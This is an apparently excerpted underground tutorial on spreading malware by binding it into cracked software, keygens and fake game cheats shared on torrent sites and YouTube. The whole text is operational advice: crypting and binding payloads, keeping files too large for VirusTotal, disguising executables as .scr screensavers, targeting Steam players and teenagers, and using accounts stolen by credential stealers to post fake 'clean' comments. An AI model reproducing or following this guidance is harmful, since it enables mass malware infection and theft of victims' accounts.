your favorite torrent client, but this tutorial I will be using Torrent.
When you have downloaded Torrent, you are ready to go. First of all, we need a popular
program, hopefully includes a patch / key generator (to bind our file with). There is many
ways to find a popular program, but the most common one is top 100 at ThePirateBay
(http://www.thepiratebay.org /top/300 ). If you have a fast upload speed, you can try big
torrents (which make the torrent look more legit), and if you have a slow connection with a
slow upload speed, try some smaller torrents, or consider buying a seedbox, which is
pretty cheap these days.
Put yourself in the downloaders shoes when it comes to spreading, would you download
a Photoshop crack at 45 kB, with no PE info, no leechers/seeds and the default .exe icon?
The answer is no, you would be afraid, because it looks really suspicious. But if it was a 372
megabyte Photoshop installer (I like to include a installer for the program I am making the
torrent for, it looks more legit, and I have tried to make a torrent with the same crack, just
that I excluded the installer, and got 460 more install because of the installer, so the
installer plays a big role) + a crack with some nice icon and info about the creator (PE Info) I
would run it (remember, think as the downloaders, always!)
Now lets move on to the tips & secrets.

T ips & Secrets


People think that you can get thousands of downloads just by uploading, and watching
your downloads increase, this is all wrong. This method has been tested, and gives the
best results:
1. Set up a stealer (iStealer 5.0, Stupid Stealer... you get it, there are many) and
download it on your bots. Check your logs and try to find any torrent sites (Demonoid,
ThePirateBay) and use their account to upload your torrent. This is how I got about 2k
downloads on Demonoid: I bought a Demonoid account from a log seller, and it had a
pretty good ratio on it, and I used it to upload a torrent (I only had 1 account). Then I
started to get many downloads, and I ran my stealer on them, and had about 14
Demonoid
accounts, and I used all those accounts to comment on the original torrent, with comments
like Thanks man, scanned & 100% clean etc Then I got many more downloads, and
used the other accounts to comment, and ended up with 64 comments, and 2k downloads.
(The torrent is still alive today, on Demonoid, and hopefully it wont get reported )
2. The secrets of a successful torrent: Your files must always be larger than 30
megabytes, for 2 reasons:

There is always at least one guy that uploads your file to virustotal. And virustotal

distribute your sample to antivirus companies and get it detected faster. But if your file
is
30 megabyte, then they wont be able to upload it to virustotal due to the upload limit (20
megabyte)

And there will always be at least one smart guy that will look for outgoing connections

or such, so you need more time to get leechers, so make it not too big, and not too small.
30 megabyte is always enough.
3. You need history, for successful torrents, so upload a few eBooks and movies on
your account before uploading your programs.
4. The .exe extension is sometimes not suit for the torrent; lets say you want to send to
somebody as a picture. An executable will be just dumb to send, so you can rename
it to something.scr. Scr stands for screensaver, and functions the same way as an .exe

but is less suspicious.

Choosing your target audience


In the previous chapter I used the top 100 to choose a torrent, because usually those will
get you the most downloads. But lets say you want a specific target (ex. Call of Duty 6
players) then we have to use other methods. Since you want the steams, you need to
make the target audience steam players with Call of Duty Modern Warfare 2 on it. This is
actually really easy, but must people think its hard.
So how can we make people with steam download it? Easy. Just find something steam
users would download, once again, think as the downloaders! Try stuff like Steam Cracked
Client All Games!, or something like VIP Call of Duty Aimbot etc
Torrents are not really good in this part (small programs), for this you can use YouTube, it
is a really good place to spread if you get a lot of views and ratings. Make some videos
about your hack and put many tags (keywords) and I guarantee you that you will get at
least 5 steams if not a lot more.
Think creative, what does your targets like? What would they download? Why would
they download?
Another example: You want from the age 15-17, what does this age like? Games maybe
Ive seen a lot of 15 year old people play runescape so I can make a fake runescape bot or
something in that direction. Then make a lot of videos of it, and use the same tips I gave
for the torrents. Get others YouTube account, comment/rate/subscribe yourself and then
you get more accounts and repeat the process.

Downloading, crypting, binding, and making the torrent


Now, as you have found the program you want to use for your torrent, download
it. For this tutorial, I am going to use this one:

It has 952 seeders, and 45 leechers, which is a really good (and popular) torrent. Why I
chose this torrent have its reasons:

It is an antivirus program, so the target audience probably doesnt have an

antivirus installed.

It has a key generator included, which is also good for us, so we can bind it.

T ip: I usually bind my program with the installer too, so if somebody for some reason
just downloads it for the installer, will get your program too.
Now I have downloaded the torrent, let s do the crypting & binding.

This is what I got so far, 5 files: installer, key generator, readme, screenshot of key
generator, and finally our program. What we want to do is bind the key generator with
our program. For this you have to use a crypter with b uilt-in binder, or a crypter and a
binder. There is a good and free one called Fly Crypter by BUNNN, you can get it from
http://hackh ound.org /forum/index.php?topic=13513.0 but you have to decrypt it
though. Now I am binding and crypting it using Fly Crypter:

Now I put everything back in their original folders, like it was when I downloaded it.
Open up Torrent, and click the magic wand tool:

Click Add Directory (or file, if you use a zip archive) and browse to your file/folder. Put
in the trackers you want to use (a tracker list go to: http ://pastebin.mozi lla.org /697683
) and check Start seeding, as below:

Now after you have saved your torrent, you should have something like this:

Uploading your torrent


Now, you have your files & torrent ready. This part is the most important part, which
many people do mistakes on, uploading your torrent. Most people make a torrent and
upload straight to the popular torrent websites like ThePirateBay or Demonoid, but this
is the worst thing you can do! F irst of all, you will get very few downloads, and the
second; you will be banned extremely fast.
Here is the right way to do it:
F irst of all, begin to upload your torrent straight to those sites:
http://www.seedpeer.com/upload.html
http://www.btjunkie.org /?do=upload
http://www.bitenova.nl/upload
http://www.fulldls.com/upload-torrent.php
http://torrents.sumotorrent.com/upload.php
Now wait for your torrent to get about 5 seeds, and hopefully 10 leechers. (Actually 3
seeds are enough, just a number of seeds are ok, and so people dont see Seeds: 0)
Then upload it to those sites (requires registration):
http://www.torrentreactor.to/torrents/add
http://www.torrentportal.com/torrentsupload.php
Then hopefully you have 10 seeds by then, and upload to:
http://www.torrentdownloads.net/upload/
http://www.torrentmatrix.com/torrentsupload.php Then when you have a bunch of seeds,
upload to:
http://torrentbox.com/torrents-add.php
Now, what you have to do is just wait, our goal is 30 seeds and 30/40 leechers. Then
upload to Demonoid and ThePirateBay after a few hours. But check the T ips & Secrets
chapter for the ultimate way to spread on those 2 popular sites. You are saving the best
last!

Conclusion
Its time to finish this book, so all I have to say is good luck, and have a happy spreading!
You will find this book really helpful when you are sitting there, staring at your torrent with
1 seed and 0 leechers. Using the information provided within this book will guarantee
you that you will become a professional spreader in no time. So what are you waiting for?
If you begin faster, you finish faster, and practice makes master.
Happy spreading.

THE END
Now go spread your torrent! :-)

Vous aimerez peut-être aussi